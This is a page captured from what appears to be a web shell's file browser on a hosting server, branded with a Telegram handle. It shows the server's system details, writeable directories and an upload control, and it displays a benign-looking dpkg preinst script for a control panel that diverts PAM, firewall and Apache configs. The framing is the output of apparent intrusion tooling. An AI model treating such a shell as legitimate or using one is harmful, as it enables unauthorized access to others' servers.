https://t.me/RX1948
Server : Apache
System : Linux enhance01.hostingraja.org 5.15.0-144-generic #157-Ubuntu SMP Mon Jun 16 07:33:10 UTC 2025 x86_64
User : webdemo_4 ( 4864)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/lib/dpkg/info/ecp-core.preinst
#!/bin/bash

set -e

pam_services=("cron" "su" "sshd")


for f in ${pam_services[@]}; do
    dpkg-divert --add --rename --divert /etc/pam.d/$f.distrib /etc/pam.d/$f
    [ \! -e /etc/pam.d/$f -o -L /etc/pam.d/$f ] && ln -sf /etc/pam.d/$f.enhancecp /etc/pam.d/$f
done


dpkg-divert --add --rename --divert /etc/ufw/before.rules.distrib /etc/ufw/before.rules
ln -sf /etc/ufw/before.rules.enhance /etc/ufw/before.rules

dpkg-divert --add --rename --divert /etc/ufw/sysctl.conf.distrib /etc/ufw/sysctl.conf
ln -sf /etc/ufw/sysctl.conf.enhance /etc/ufw/sysctl.conf

mkdir -p /etc/apache2
dpkg-divert --add --rename --divert /etc/apache2/apache2.conf.distrib /etc/apache2/apache2.conf
ln -sf /etc/apache2/apache2.conf.enhance /etc/apache2/apache2.conf

LINE_TO_ADD='ecp info'
BASHRC_PATH="/root/.bashrc"

# Check if the line already exists in .bashrc
if ! grep -Fxq "$LINE_TO_ADD" "$BASHRC_PATH"; then
    # If not, append the line to the .bashrc
    echo "$LINE_TO_ADD" >> "$BASHRC_PATH"
else
    echo "info line already exists in $BASHRC_PATH"
fi


exit 0

https://t.me/RX1948 - 2025